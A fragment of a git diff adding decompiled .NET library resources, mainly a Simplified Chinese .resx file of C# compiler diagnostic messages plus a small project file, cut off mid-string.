AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/tr.microsoft.codeanalysis.resources/costura.tr.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/tr.microsoft.codeanalysis.resources/costura.tr.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/tr.microsoft.codeanalysis.resources/costura.tr.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/zh-hans.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.zh-Hans.resx b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.zh-Hans.resx new file mode 100644 index 0000000..22772af --- /dev/null +++ b/decompiled/Libraries/zh-hans.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.zh-Hans.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089必须为没有源的输出指定 /out 选项 + 被常数零除 + 类型和别名不应命名为 "record"。 + “{0}”不是有效的特性参数类型,因此不是有效的命名特性参数 + XML 注释出现 XML 格式错误 + "new()" 约束不能与 "unmanaged" 约束一起使用 + 正在跳过分析器程序集 {0} 中的某些类型,因为出现 ReflectionTypeLoadException: {1}。 + 字段已被赋值,但从未使用过它的值 + 记录 + 表达式树不能包含赋值运算符 + 找不到编译动态表达式所需的一个或多个类型。是否缺少引用? + “{0}”已过时:“{1}” + 条件属性在 '{0}' 上无效,因为它是构造函数、析构函数、运算符、Lambda 表达式或显式接口实现 + 可写引用无法返回只读类型的主构造函数参数“{0}”的成员 + 切片模式只能使用一次,并且直接在列表模式内使用。 + 无效的模块名称: {0} + 接口已在接口列表中列出,引用类型具有不同的 Null 性。 + “{0}”: 不允许进行以基类型为转换源或目标的用户定义转换 + “{0}”: 无法通过表达式引用类型;请尝试“{1}” + 编译器版本:“{0}”。语言版本: {1}。 + 迭代器 + 对模块忽略 /win32manifest,因为它仅应用于程序集 + 代码页“{0}”无效或未安装 + 过时成员“{0}”重写未过时成员“{1}” + 字符串缺少右引号。 + 抛出的值可能为 null。 + 使用可能未赋值的自动实现的属性 '{0}'。请考虑更新到语言版本 '{1}' 以自动默认属性。 + “{0}”不可以为 Null。 + Using 声明 + 目标运行时不支持默认接口实现。 + 编译被用户取消 + 不支持元数据引用。 + 查询正文必须以 select 或 group 子句结尾 + 给定的表达式永远不会与提供的模式匹配。 + "init" 访问器不能标记为“只读”。请转而将“{0}”标记为“只读”。 + '&' 运算符不应用于异步方法中的参数或局部变量。 + switch 语句包含多个具有标签值“{0}”的情况 + 应为标识符;“{1}”是关键字 + “{0}”值无效:“{1}”。 + 类型参数“{0}”与外部方法“{1}”中的类型参数同名 + 表达式树不能包含不安全的指针操作 + 实体引用中发现无效字符。 + 表达式树 lambda 不能包含具有变量参数的方法 + 命令行开关尚未实现 + 编译器对某个变量进行了隐式拓展和带符号扩展,然后在按位或操作中使用生成的值。这可能会导致意外行为。 + * 或 -> 运算符只能应用于指针 + 预处理符号的名称无效;“{0}”不是有效的标识符 + 运算符“{0}”无法应用于“{1}”和“{2}”类型的操作数 + 本机大小的整数 + 类型是不符合 CLS 的类型的成员,因此不能将其标记为符合 CLS + CallerMemberNameAttribute 将不起任何作用;它由 CallerLineNumberAttribute 重写 + 不能通过可写的引用返回 {0} '{1}' 的成员,因为它是只读变量 + 应用于参数“{0}”的 InterpolatedStringHandlerArgumentAttribute 格式不正确,无法解释。请手动构建“{1}”的实例。 + 给定的行有 {0} 个字符,这"this" 参数提供的字符数“{1}”。 + “{0}”无法声明主体,因为它标记为 abstract + 可访问性不一致: 事件类型“{1}”的可访问性低于事件“{0}” + 成员“{0}”将重写过时的成员“{1}”。请向“{0}”中添加 Obsolete 特性。 + 检测到无法访问的代码 + 由于程序集没有 CLSCompliant 特性,因此类型或成员不需要 CLSCompliant 特性 + 无法在此上下文中使用主构造函数参数“{0}”。 + 未能找到源类型“{0}”的查询模式的实现。未找到“{1}”。请考虑显式指定范围变量“{2}”的类型。 + “{0}”不是有效的警告编号 + 类型“{3}”不能用作泛型类型或方法“{0}”中的类型参数“{2}”。没有从“{3}”到“{1}”的隐式引用转换。 + 方法、运算符或访问器标记为外部对象并且上面没有任何特性 + 内插字符串处理程序方法“{0}”格式错误。它不返回“void”或“bool”。 + 在 switch 语句中,不允许将放弃模式作为 case 标签。请使用“case var _:”以表示放弃模式、使用“case @_:”以定义名为“_”的变量。 + “{0}”的调用约定与“{1}”不兼容。 + 无法在对象创建中使用可为 null 的引用类型。 + 析构函数的名称必须与类型的名称匹配 + 命令行语法错误:“{0}”不是“{1}”选项的有效值。值的格式必须为 "{2}"。 + “{0}”不是实例方法,接收器不能是内插字符串处理程序参数。 + 此 ref 将“{1}”分配给“{0}”,但“{1}”只能通过 return 语句对当前方法进行转义。 + 无法作为 out 或 ref 参数传递范围变量“{0}” + foreach 循环必须声明其迭代变量。 + 合并运算符中的无约束类型参数 + 必须在标记为 "static" 和 "extern" 的方法上指定 DllImport 特性 + 分部方法 + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + 功能“{0}”在 C# 11.0 中不可用。请使用 {1} 或更高的语言版本。 + 功能“{0}”在 C# 10.0 中不可用。请使用语言版本 {1} 或更高版本。 + 字段“{0}”已被赋值,但从未使用过它的值 + 无法在 finally 子句体中生成 + <命名空间> + "await" 运算符只能用在初始 "from" 子句的第一个集合表达式或 "join" 子句的集合表达式内的查询表达式中 + 为形参“{0}”指定的默认值将不起任何作用,因为它适用于在不允许指定可选实参的上下文中使用的成员 + “{0}”: 显式接口声明只能在类、记录、结构或接口中声明 + 不能重新定义全局外部别名 + 内联数组 “Slice” 方法将不用于元素访问表达式。 + CLSCompliant 特性在应用于参数时无意义。请尝试将该特性应用于方法。 + 当 catch() 块未在 catch (System.Exception e) 块之后指定异常类型时,会出现此警告。该警告建议 catch() 块不捕获任何异常。 + +如果 RuntimeCompatibilityAttribute 在 AssemblyInfo.cs 文件中设置为 false,则 catch (System.Exception e) 块之后的 catch() 块可以捕获非 CLS 异常: [程序集: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]。如果此特性未显式设置为 false,则所有引发的非 CLS 异常都包装为“异常”,catch (System.Exception e) 块可以捕获它们。 + 应用于参数的 CallerArgumentExpressionAttribute 将不起任何作用,因为它是自引用的。 + out 变量无法声明为 ref 局部变量 + 无法在 catch 子句中等待 + 运算符 '{0}' 需要同时定义匹配的未选中版本的运算符 + 文件范围内的命名空间 + 无法析构动态对象。 + 不能在此上下文中使用表达式,因为表达式无法通过引用传递或返回 + 一个声明外部别名的 /reference 选项只能有一个文件名。要指定多个别名或文件名,请使用多个 /reference 选项。 + 不能将 stackalloc 表达式的类型从“{0}”转换为“{1}”。 + 以“{”开头的插补的表达式缺少结束分隔符“}”。 + 必须在程序集而不是模块上指定 CLSCompliant 特性,以便启用 CLS 遵从性检查 + "scoped" 修饰符只能用于 refs 和 ref 结构值。 + “{0}”不包含“{1}”的公共实例或扩展定义,因此 foreach 语句不能作用于“{0}”类型的变量 + 读取规则集文件 {0} 时出错 - {1} + 不要直接调用基类型 Finalize 方法。它将从析构函数中自动调用。 + “{0}”: 枚举器值太大,不能适应它的类型 + 给定文件具有 {0} 行,这少于提供的行数“{1}” + 为预处理器指令指定的文件名无效。文件名太长或者是无效的文件名。 + 类型或成员已过时 + 无法将表达式转换为“{0}”,因为可能无法通过引用传递或返回它 + 无法从用法中推断出方法“{0}”的类型参数。请尝试显式指定类型参数。 + 引用类型参数可能为 null。 + 方法组(&M) + 缺少文件特性 + 缺少路径特性 + 非托管类型“{0}”对于字段无效。 + 使用来自容器“{0}”的公钥对输出签名时出错 -- {1} + 运算符“{0}”要求也要定义匹配的运算符“{1}” + 字段初始值设定项无法引用非静态字段、方法或属性“{0}” + 自动实现 readonly 的属性 + 命名空间“{1}”已包含此文件中“{0}”的定义 + 无法将静态只读字段“{0}”的字段用作 ref 或 out 值(静态构造函数中除外) + 此 ref 将“{1}”分配给“{0}”,但“{1}”具有比“{0}”更窄的转义范围。 + 属性的访问修饰符 + 类型和别名不能为 "scoped"。 + 类、记录、结构或接口成员声明中的标记“{0}”无效 + 未能找到元数据文件“{0}” + 从 "readonly" 成员调用非 readonly 成员将产生一个隐式副本。 + 文件范围内的命名空间必须位于文件中所有其他成员之前。 + “{0}”没有预定义的大小,因此 sizeof 只能在不安全的上下文中使用 + “{1}”中指定的搜索路径“{0}”无效 --“{2}” + 无法将 {0} 转换为类型“{1}”,原因是参数类型与委托参数类型不匹配 + 只有符合 CLS 的成员才能是抽象的 + private protected + 程序集和模块“{0}”不能以不同处理器为目标。 + 表达式树不能包含范围("..")表达式。 + 参数 '{0}' 的引用类型修饰符与目标中的对应参数 '{1}' 不匹配。 + “{0}”不是内插字符串处理程序类型。 + 参数 '{0}' 的引用类型修饰符与隐藏成员中对应的参数 '{1}' 不匹配。 + 在显式分配之前,将读取自动实现的属性 '{0}' ,从而导致前面的隐式分配为 'default'。 + 无法在 lock 语句体中等待 + 无法将静态只读字段用作 ref 或 out 值(静态构造函数中除外) + 使用可能未赋值的自动实现的属性。请考虑更新到语言版本以自动默认属性。 + 特性“{0}”对属性或事件访问器无效。它仅对“{1}”声明有效。 + 参数 "{0}" 的 "scoped" 修饰符与目标 "{1}" 不匹配。 + 指定的版本字符串 '{0}' 包含通配符,这与确定性不兼容。请删除版本字符串中的通配符,或禁用此编译的确定性。 + 显式接口说明符中引用类型的 Null 性与该类型实现的接口不匹配。 + 作为特性参数的数组不符合 CLS + 未使用的外部别名 + 无效数字 + lambda 放弃参数 + 此上下文中此类型 stackalloc 表达式的结果可能会在包含方法之外公开 + 类型变型 + 目录不存在 + 为了使“{0}”可以像短路运算符一样应用,其声明类型“{1}”必须定义运算符 true 和运算符 false + 可处置的 + 应输入嵌套数组初始值设定项 + 只有类类型才能包含析构函数 + 假定程序集引用与标识匹配 + 程序集引用“{0}”无效,无法解析 + 推断的委托类型 + 这将通过 ref 参数按引用返回参数;但它只能在 return 语句中安全返回 + default 字面量缺少目标类型。 + 析构任务要求表达式属于右侧的某个类型。 + 无效的文件节对齐方式“{0}” + 结构内部的匿名方法、lambda 表达式、查询表达式和局部函数无法访问 "this" 的实例成员。请考虑将 "this" 复制到匿名方法、lambda 表达式、查询表达式或局部函数外部的某个局部变量并改用该局部变量。 + 无法分配给 {0}“{1}”的成员,或将其用作 ref 分配的右侧,因为它是只读变量 + “{0}”的类型中引用类型的为 Null 性与隐式实现的成员“{1}”不匹配。 + 条件成员“{0}”无法实现类型“{2}”中的接口成员“{1}” + “{0}”的返回类型中引用类型的为 Null 性与隐式实现的成员“{1}”不匹配。 + 静态类“{0}”不能从类型“{1}”派生。静态类必须从对象派生。 + 静态只读字段“{0}”的字段无法通过可写的引用返回 + 类型“{0}”是在此程序集中定义的,但又为它指定了一个类型转发器 + 该模式不可访问。它已由 switch 表达式的前一个 arm 处理或无法匹配。 + 表达式太长或者过于复杂,无法编译 + #pragma 指令之后应是单行注释或行尾 + “{0}”: 事件属性必须同时具有 add 和 remove 访问器 + 这将按引用“{0}”返回参数,但它的作用域为当前方法 + { or ; or => 预期的 + 引用程序集面向的是另一个处理器 + 无法找到接口“{1}”的托管组件类包装器类“{0}”(是否缺少程序集引用?) + “{0}”不实现“{1}”模式。“{2}”与“{3}”一起使用时目的不明确。 + /langversion 的选项“{0}”无效。使用 "/langversion:?" 列出支持的值。 + 别名限定名称不是表达式。 + 应为标识符。 + 未定义类型“{0}”。 + “goto case”值不可隐式转换为类型“{0}” + 条件表达式中的赋值总是常量 + 条件成员“{0}”不能有 out 参数 + 无法在不安全的上下文中等待 + 嵌入的语句不能是声明或标记语句 + “{0}”必须允许替代,因为包含的记录未密封。 + 可为 null 的值类型可为 null。 + 静态本地函数 + 构造函数标记为外部对象 + 操作可能在运行时溢出(请使用“unchecked”语法替代) + 集合初始值设定项 + 预定义类型“{0}”未定义或导入 + 自动实现的属性 + ref 赋值 + "{0}" 类型的表达式不能由 "{1}" 类型的模式进行处理。请使用语言版本 "{2}" 或更高版本,将开放类型与常数模式进行匹配。 + 动态调度的方法“{0}”调用可能会在运行时失败,因为一个或多个适用的重载为条件方法。 + 类型或成员已过时 + 构造函数“{0}”标记为外部对象 + “{0}”: 静态类不能实现接口 + 嵌入互操作结构“{0}”只能包含公共实例字段。 + “{0}”是一个类型参数,无法从它进行派生 + fixed 语句中声明的局部变量类型必须是指针类型 + 外部别名 + XML 注释的 cref 特性中的返回类型无效 + 类型“{0}”不能在此上下文中使用,因为它不能在元数据中表示。 + 返回类型中引用类型的为 Null 性与实现的成员不匹配(可能是由于为 Null 性特性)。 + CLSCompliant 特性在应用于参数时无意义 + 类型参数的约束中的为 Null 性与隐式实现接口方法中的类型参数的约束不匹配。 + "as" 运算符的第一个操作数不能是一个没有自然类型的元组字面量。 + 无效的检测类型: {0} + 选中的用户定义运算符 + 无法在脚本代码中声明命名空间 + public、protected 或 protected internal 变量必须属于符合公共语言规范(CLS)的类型。 + “{0}”的分部声明包含冲突的可访问性修饰符 + 类型“{3}”不能用作泛型类型或方法“{0}”中的类型参数“{2}”。可以为 null 的类型“{3}”不满足“{1}”的约束。 + 无法截获 nameof 运算符。 + 可能非有意的引用比较;右侧需要强制转换 + 未能写入输出文件“{0}”--“{1}” + 应为关键字 "this" 或 "base" + EnumeratorCancellationAttribute 将不起任何作用。该属性仅在返回 IAsyncEnumerable 的异步迭代器方法中 CancellationToken 类型的参数上有效 + “{0}”的返回类型中引用类型的为 Null 性与隐式实现的成员“{1}”不匹配(可能是由于为 Null 性特性)。 + 由于此类型的值永不等于 "null",该表达式的结果始终相同 + 指针元素访问 + “{0}”不替代“{1}”中的预期属性。 + 无法在顶级脚本代码中使用“yield” + 异步方法缺少 "await" 运算符,将以同步方式运行 + 预定义类型是在全局别名的多个程序集中定义的 + 名称 "_" 引用类型“{0}”,而不引用放弃模式。对于类型,请使用 "@_";对于弃用,请使用 "var _"。 + 无法在含有 "in" 或 "out" 类型参数的接口中声明枚举、类和结构。 + “{0}”: 特性参数不能使用类型参数 + 应输入可重载运算符 + 无法为静态只读字段“{0}”的字段赋值(在静态构造函数或变量初始值设定项中除外) + 筛选器表达式是常量 “true” + 未指定源文件。 + “{0}”的签名错误,不能作为入口点 + catch 子句不能跟在 try 语句的常规 catch 子句之后 + 分部方法“{0}”必须具有可访问性修饰符,因为它具有 "virtual"、"override"、"sealed"、"new" 或 "extern" 修饰符。 + 引用要编制索引的实例的内插字符串处理程序转换不能用于索引器成员初始化表达式中。 + 缺少参数 + 不能将 lambda 转换为类型参数“{0}”不是委托类型的表达式树 + 此 ref 分配的值只能通过 return 语句转义当前方法。 + 返回 + 相关操作在 void 指针上未定义 + 委托“{0}”没有调用方法,或调用方法有不受支持的返回类型或参数类型。 + 无法从另一个构造泛型类型创建构造泛型类型。 + 字段'{0}'在显式分配之前被读取,导致前面的隐式分配为 'default'。 + nameof 运算符 + 无法获取托管类型(“{0}”)的地址和大小,或者声明指向它的指针 + 功能“{0}”不是标准化 ISO C# 语言规范的一部分,其他编译器可能不接受它 + 源文件中提供的特定“{0}”与选项“{1}”冲突。 + 不能在模块上指定与程序集的 CLSCompliant 特性不同的 CLSCompliant 特性 + 移位运算符 + 参数 {0} 不应使用“{1}”关键字进行声明 + “{0}”使用 "UnmanagedCallersOnly" 进行特性化,无法转换为委托类型。请获取指向此方法的函数指针。 + 无法在 finally 子句体中等待 + 侦听器方法必须是普通成员方法。 + 控制离开当前方法之前必须对 out 参数“{0}”赋值 + 记录只能从对象或另一条记录继承 + 应是对象、字符串或类类型 + 表达式树不能包含 with 表达式。 + 链接 netmodule 元数据必须提供完整 PE 映像:“{0}”。 + 使用了未赋值的 out 参数“{0}” + 定义名为 "global" 的别名是欠妥的 + “{0}”: 特性类型参数不能使用类型参数 + UTF-8 字符串文本 + /platform:anycpu32bitpreferred 只能与 /t:exe、/t:winexe 和 /t:appcontainerexe 一起使用 + 方法“{0}”缺少 "[DoesNotReturn]" 注释,无法匹配已实现的或被替代的成员。 + ref 字段只能在 ref 结构中声明。 + “{0}”: 具有 ComImport 特性的类不能指定基类 + 由于“{1}”具有 ComImport 特性,因此“{0}”必须是外部的或抽象的 + 内插必须以与原始字符串字面量开始的 \"$\" 字符数相同的右大括号数结束。 + 固定变量 + 名称 {0} 出现名称冲突 + 上一个 catch 子句已经捕获了此类型或超类型(“{0}”)的所有异常 + 使用了可能未赋值的字段“{0}” + 不能同时提供程序块主体与表达式主体。 + 在 C# 中无法使用 System.Void -- 使用 typeof(void)获取 void 类型对象 + 提供的文档模式不受支持或无效:“{0}”。 + 运算符“{0}”对于“{1}”类型的操作数具有二义性 + 返回类型中引用类型的为 Null 性与重写成员不匹配。 + 由于分配目标指定了其他名称或未指定名称,因此元组元素名称被忽略。 + 引用程序集没有强名称 + 分部方法不能显式实现接口方法 + 参数的 “scoped” 修饰符与目标不匹配。 + lambda 表达式 + 无法对 Main 方法使用“{0}”,因为它是被导入的 + 一元运算符的参数必须是包含类型 + 必须先完全分配字段 '{0}' ,然后才能将控件返回给调用方。请考虑更新到语言版本 '{1}' 以自动默认字段。 + 与集合初始值设定项元素最匹配的重载 Add 方法“{0}”已过时。{1} + 由串联所得的字符串常量长度超过了 System.Int32.MaxValue。请尝试将字符串拆分为多个常量。 + 必须在程序集而不是模块上指定 CLSCompliant 特性,以便启用 CLS 遵从性检查 + 引用程序集“{0}”没有强名称。 + 命名空间 + 以下方法或属性之间的调用具有二义性:“{0}”和“{1}” + switch 表达式未处理某些 null 输入(它并不是穷举)。例如,模式“{0}”未包含在内。 + 浮点常量超出“{0}”类型的范围 + 原始字符串字面量分隔符必须位于其自己的行上。 + 无法从程序集“{2}”读取方法“{0}”(令牌 0x{1:X8})的调试信息 + 'UnmanagedCallersOnly' 只能应用于普通静态非抽象、非虚拟方法或静态本地函数。 + 无法为“{0}”创建函数指针,因为它不是静态方法 + /nullable 的选项“{0}”无效;必须为“禁用”、“启用”、“警告”或“注释” + 无法在不进行编码的情况下发出源文本的调试信息。 + 参数 "{0}" 的 "scoped" 修饰符与被重写或实现的成员不匹配。 + 选项“{0}”无效;资源可见性必须是“public”或“private” + 为 “ref readonly” 参数指定的默认值 '{0}',但 “ref readonly” 只应用于引用。请考虑将参数声明为 “in”。 + 在此上下文中使用结果可能会在变量声明范围之外公开由参数引用的变量 + 由于优先级,无法在此处使用运算符。 + 记录成员“{0}”必须是公共的。 + 请勿使用“{0}”。这是保留给编译器使用的。 + 警告已全局禁用,无法还原 + 参数被捕获到封闭类型的状态,其值也用于初始化字段、属性或事件。 + 迭代器的参数列表中不允许有 __arglist + “{0}”不实现接口成员“{1}”。接口中基类型实现的引用类型的 Null 性不匹配。 + 无法将异步 {0} 转换为委托类型“{1}”。异步 {0} 可能会返回 void、Task 或 Task<T>,这些都不可转换为“{1}”。 + 在此上下文中使用变量“{0}”可能会在变量声明范围以外公开所引用的变量 + “{0}”特性重复 + 无法嵌入类型“{0}”,因为它有非抽象成员。请考虑将“嵌入互操作类型”属性设置为 false。 + 无法推断委托类型。 + 无法使用文件本地类型“{0}”,因为包含的文件路径无法转换为等效的 UTF-8 字节表示形式。{1} + 元素“{0}”需要结束标记。 + 前导数字分隔符 + Nameof 运算符中不允许使用类型参数。 + 命名空间“{1}”中不存在类型或命名空间名“{0}”(是否缺少程序集引用?) + “{0}”: 创建变量类型的实例时无法提供参数 + 读取 Win32 资源时出错 -- {0} + 未能在全局命名空间中找到类型名“{0}”。此类型已转发到程序集“{1}”。请考虑添加对该程序集的引用。 + 无法返回 "void" 类型的表达式 + ref 或 out 参数不能有默认值 + 未能找到类型名“{0}”。此类型已转发到程序集“{1}”。请考虑添加对该程序集的引用。 + 迭代器不能有按引用局部变量 + 两个分部方法声明必须具有 "virtual"、"override"、"sealed" 和 "new" 修饰符的相同组合。 + 不能为 "this" 参数指定默认值 + 给定表达式始终不是所提供的(“{0}”)类型 + XML 注释中有 typeparam 标记,但是没有该名称的类型参数 + 两个分部方法声明必须都是不安全声明,或者两者都不能是不安全声明 + 合并赋值 + 基类型在标记为符合公共语言规范(CLS)的程序集中标记为不必符合 CLS。移除指定程序集符合 CLS 的特性或移除指示类型不符合 CLS 的特性。 + 给定的表达式始终与提供的常量匹配。 + 带有 vararg 的方法不能是泛型,不能属于泛型类型,也不能具有 params 参数 + '“await”要求类型“{0}”包含适当的 GetAwaiter 方法。是否缺少针对“System”的 using 指令? + 应输入 ";" 或 "="(无法在声明中指定构造函数参数) + 在此上下文中使用结果的成员可能会在变量声明范围以外公开由参数引用的变量 + 无法通过对隐式范围索引器的调用为参数命名。 + 在结构上 + 由于引用类型的可为 null 性差异,实参不能用于形参。 + 运算符 True 或 False 的返回类型必须是 bool + 此构造函数必须添加 'SetsRequiredMembers',因为它链接到具有该属性的构造函数。 + 约束不能是特殊类“{0}” + “{0}”: 目标运行时不支持替代中的协变返回类型。返回类型必须为“{2}”才能匹配替代成员“{1}” + 参数 "{0}" 的 "scoped" 修饰符与被重写或实现的成员不匹配。 + 转发到程序集“{1}”的类型“{0}”与转发到程序集“{3}”的类型“{2}”冲突。 + 参数应为变量,因为它被传递到 “ref readonly” 参数 + 默认值在此上下文中无效。 + ref 字段不能引用 ref 结构。 + 文件本地类型 "{0}" 不能用作非文件本地类型 "{1}" 的基类型。 + 委托“{0}”没有名为“{1}”的参数 + "managed" 调用约定不能与非托管调用约定说明符一起使用。 + 函数指针比较可能产生意外的结果,因为指向同一函数的指针可能是不同的。 + “{0}”不符合 CLS,因为基接口“{1}”不符合 CLS + 源接口“{0}”缺少方法“{1}”,此方法对嵌入事件“{2}”是必需的。 + 特性构造函数参数“{0}”是可选的,但是未指定默认参数值。 + 表达式树 Lambda 不能包含空传播运算符。 + 找不到别名“{0}” + 成员“{0}”的初始化重复 + 记录等同性合同属性“{0}”必须具有 get 访问器。 + 用于 /debug 的选项“{0}”无效;选项必须是 "portable"、"embedded"、"full" 或 "pdbonly" + 只能获取 fixed 语句初始值设定项内的未固定表达式的地址 + 若要对内插逐字字符串使用 "@$" 而不是 "$@",请使用语言版本 {0} 或更高版本。 + “{0}”: 具有 ComImport 特性的类不能指定字段初始值设定项。 + 分部方法“{0}”必须具有可访问性修饰符,因为它具有 "out" 参数。 + “{0}”: 不能在静态类中声明索引器 + CallerArgumentExpressionAttribute 将不起任何作用,因为它适用于不允许可选参数的上下文中使用的成员 + “{0}”已经在接口列表中列出 + 空指针常数模式 + “{0}”: 属性或索引器必须至少有一个访问器 + 隐式类型化的变量不能是常量 + 使用与基类型中的变量相同的名称声明了变量。但是,未使用关键字 new。此警告通知应使用 new;变量如同在声明中使用了 new 一样进行声明。 + 可访问性不一致: 返回类型“{1}”的可访问性低于方法“{0}” + 只读结构的实例字段必须为只读。 + 无法将“{1}”重新赋值为“{0}”,因为“{1}”具有比“{0}”更窄的转义范围。 + 运算符 "{0}" 不能应用于类型为 "{1}" 和 "{2}" 的非 UTF-8 字节表示形式的操作数 + 使用 Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal 来创建字符字面量标记。 + 表达式树不能包含模式 System.Index 或 System.Range 索引器访问 + 作为特性参数的数组不符合 CLS + 使用未赋值的 out 参数 + 当前上下文中不允许省略类型参数 + 对齐值 {0} 具有大于 {1} 的度量值,可能产生较大的格式化字符串。 + 静态本地函数不能包含对 "this" 或 "base" 的引用。 + 参数未读。 + 表达式树不能包含 UTF-8 字符串转换或文本。 + 化出变量声明 + ref 只读参数不能具有 Out 特性。 + 与整数常量比较无意义;该常量不在“{0}”类型的范围之内 + '“实验” + 无法跨程序集边界使用程序集“{1}”中的类型“{0}”,因为它有身为嵌入的互操作类型的泛型类型参数。 + 常量值可能在运行时溢出(请使用 "unchecked" 语法替代) + lambda 可选参数 + 参数结构构造函数 + 一元运算符的参数必须是包含类型或被其约束的类型参数。 + 声明了本地函数“{0}”,但从未使用过 + as 运算符必须与引用类型或可以为 null 的类型一起使用(“{0}”是不可为 null 值的类型) + 抽象 {0}“{1}”不能标记为虚拟 + “{0}”: 静态类不能包含用户定义的运算符 + 在包含的范围中标签“{0}”遮盖了具有同样名称的另一个标签 + 成员“{1}”重写“{0}”。在运行时有多个重写候选项。此实现取决于将要调用的方法。请使用较新的运行时。 + 结构的实例成员内的匿名方法、lambda 表达式、查询表达式和局部函数无法访问主构造函数参数 + 应为 get 或 set 访问器 + 不要使用 "System.ParamArrayAttribute",而是使用 "params" 关键字。 + 在密封类型中声明了新的保护成员 + 转发的类型“{0}”与此程序集主模块中声明的类型冲突。 + 两个程序集的版本和/或版本号不同。为进行统一,必须在应用程序的 .config 文件中指定指令,并且必须提供程序集的正确强名称。 + 构造函数“{0}”无法通过另一构造函数调用自身 + 引用的文件“{0}”不是程序集 + 重载的二元运算符“{0}”采用两个参数 + "or" 模式 + 本地函数“{0}”必须为 "static" 才能使用 "Conditional" 特性 + Conditional 特性在“{0}”上无效,因为该特性是重写方法 + 局部变量“{0}”或其成员的地址不能用作匿名方法的参数,也不能在匿名方法或 lambda 表达式内部使用 + 需要 SearchCriteria。 + 接口不能包含实例构造函数 + 由于“{0}”返回 void,返回关键字后面不得有对象表达式 + 用户定义的运算符无法将类型转换为自身 + 无法继续,因为编辑包括对嵌入类型的引用:“{0}”。 + 由于此调用不会等待,因此在此调用完成之前将会继续执行当前方法。请考虑将 "await" 运算符应用于调用结果。 + 请在对 {0} 的所有引用超出范围之前,对它的分配实例调用 Call System.IDisposable.Dispose()。 + {0} 的分配实例未按所有异常路径释放。请在对它的所有引用超出范围之前,调用 Call System.IDisposable.Dispose()。 + 要推断的语法节点不能属于来自当前编译的语法树。 + 安全特性“{0}”具有无效 SecurityAction 值“{1}” + 无法将只读类型的主构造函数参数分配给(在该类型的 init-only 设定子或变量初始值设定项中除外) + 静态本地函数不能包含对“{0}”的引用。 + 若要强制转换负值,必须将该值放在括号内。 + 本地名称“{0}”对于 PDB 太长。请考虑缩短或在不使用 /debug 的情况下编译。 + 应是成员定义、语句或文件尾 + 参数 '{0}' 的引用类型修饰符与重写或实现成员中的对应参数 '{1}' 不匹配。 + 析构变量不能声明为 ref 局部变量 + 由于此调用不会等待,因此在调用完成前将继续执行当前方法 + using 子句必须位于命名空间中定义的所有其他元素之前(外部别名声明除外) + 参数 {0} 应为变量,因为它被传递到 “ref readonly” 参数 + “await”运算符只能在异步方法中使用。请考虑使用“async”修饰符标记此方法,并将其返回类型更改为“Task<{0}>”。 + 静态成员 "{0}" 不能标记为 "readonly"。 + 固定缓冲区只能有一个维度。 + UnscopedRefAttribute 不能应用于具有 "scoped" 修饰符的参数。 + 取消装箱可能为 null 的值。 + 由于“{1}”类型的值永不等于“{2}”类型的 "null",该表达式的结果始终为“{0}” + 变量 + 类型“{0}”的值中引用类型的为 Null 性与目标类型“{1}”不匹配。 + 无法将别名“{0}”与“::”一起使用,因为该别名引用了类型。请改用“.”。 + 遇到合并冲突标记 + 友元程序集引用“{0}”无效。不能在 InternalsVisibleTo 声明中指定版本、区域性、公钥标记或处理器架构。 + 无法通过 ref 参数按引用“{0}”返回参数;它只能在 return 语句中返回 + 使用顶级语句的程序必须是可执行文件。 + 这会按引用返回本地成员,但它不是 ref 本地 + 空字符 + "class"、"struct"、"unmanaged"、"notnull" 和 "default" 约束不能组合或重复,并且必须先在约束列表中进行指定。 + “{0}”无法添加到此程序集,因为它已是程序集 + 没有为 switch 表达式找到最佳类型。 + netmodule 不支持公共签名。 + “{0}”已作为“{1}”列入类型“{2}”的接口列表中。 + ref 赋值的左侧必须为 ref 变量。 + 字段或属性不能是“{0}”类型 + 析构左侧不允许使用元组元素名称。 + 表达式树 lambda 不能包含方法组 + 应为 "enable"、"disable" 或 "restore" + 在 as 表达式中使用可以为 null 的引用类型“{0}?”是非法的;请改用基础类型“{0}”。 + 无法将委托绑定到作为 "System.Nullable<T>" 成员的“{0}” + 方法 + “{0}”的分部声明必须具有顺序相同的相同类型参数名 + __arglist 不能有 "in" 或 "out" 传递的参数 + 此位置无法使用字符“{0}”。 + “await”运算符只能在异步 {0} 中使用。请考虑使用“async”修饰符标记此 {0}。 + "ref" 扩展方法“{0}”的第一个参数必须是值类型或受结构约束的泛型类型。 + “{0}”和函数指针“{1}”之间的引用不匹配 + 不能将“{0}”用作调用约定修饰符。 + 不支持链接推理语义模型。应从非推理 ParentModel 创建推理模型。 + 程序定义了多个入口点。使用 /main (指定包含入口点的类型)进行编译。 + 扩展的分部方法 + 功能“{0}”在 C# 8.0 中不可用。请使用语言版本 {1} 或更高版本。 + 功能“{0}”在 C# 7.2 中不可用。请使用 {1} 或更高的语言版本。 + 功能“{0}”在 C# 7.3 中不可用。请使用 {1} 或更高的语言版本。 + 功能“{0}”在 C# 7.1 中不可用。请使用 {1} 或更高的语言版本。 + 在此上下文中使用变量可能会在变量声明范围以外公开所引用的变量 + 预期内插字符串 + 无法包括文件“{0}”的 XML 段落“{1}”-- {2} + 内联数组转换运算符将不用于从声明类型的表达式进行转换。 + 从模块“{1}”导出的类型“{0}”与从模块“{3}”导出的类型“{2}”冲突。 + 不支持将字符串 'null' 